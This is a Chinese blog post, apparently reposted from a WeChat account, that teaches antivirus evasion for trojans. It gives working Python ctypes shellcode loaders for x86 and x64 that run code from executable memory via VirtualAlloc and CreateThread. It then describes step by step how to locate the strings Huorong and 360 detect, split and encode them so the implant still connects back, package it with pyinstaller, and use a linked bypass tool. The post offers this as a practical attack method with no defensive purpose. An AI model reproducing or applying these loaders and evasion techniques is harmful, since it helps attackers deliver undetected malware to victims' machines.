大家好，我是HexaGon的X客套话不会说 直接上干货
Python免杀对于python版本有所要求Python分 X86和X64
x86 运行shellcode的代码
import ctypes# shellcode填这里shellcode = b"Xfc....{shellcode}..."rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
x64 运行shellcode的代码
import ctypes# shellcode填这里shellcode = b"Xfc....{shellcode}..."ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
看代码 火绒直接查杀
随便生成一个shellcode
但是不能直接用 要拿出指定的字段
运行木马 上线但是不免杀
要找火绒查杀的字段 先把后面的代码删除
查杀之后发现shellcode没问题 但是要运行上线 代码还要加回去
一句一句往回加
当然没必要一句一句往回加、这个字段就是火绒查杀的标志
刚测试了一下 发现下面那个字段也会查杀那就两个都取消
然后这两个字段 要进行加密编码了、这个就是你自己的思路、随机应变的、但是你要记住是怎么搞的、不然后面 你没法用、
我的思路 将命令简化、先将两条命令合成一条
用python的方法运行、
木马可以上线、但是还是不免杀 因为字段还在文件里面
把刚才的关键字拆解
依然不行 继续拆解
直接写脚本拆成列表
拆成这样 在组装成字符串
木马上线 用pyinstaller -Fw 打包成exe文件就ok了
但是运行exe火绒查杀了
经过多次编码、免杀上线
工具分享给大家 GUI图形化脚本 仅支持 python3 环境使用 切不能有python2环境
https://github.com/beoutnaprun/MiniBypass这里是HexaGon六边形实验室，我们下次再见
原文始发于微信公众号（HexaGoners）：Python免杀 火绒、360
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论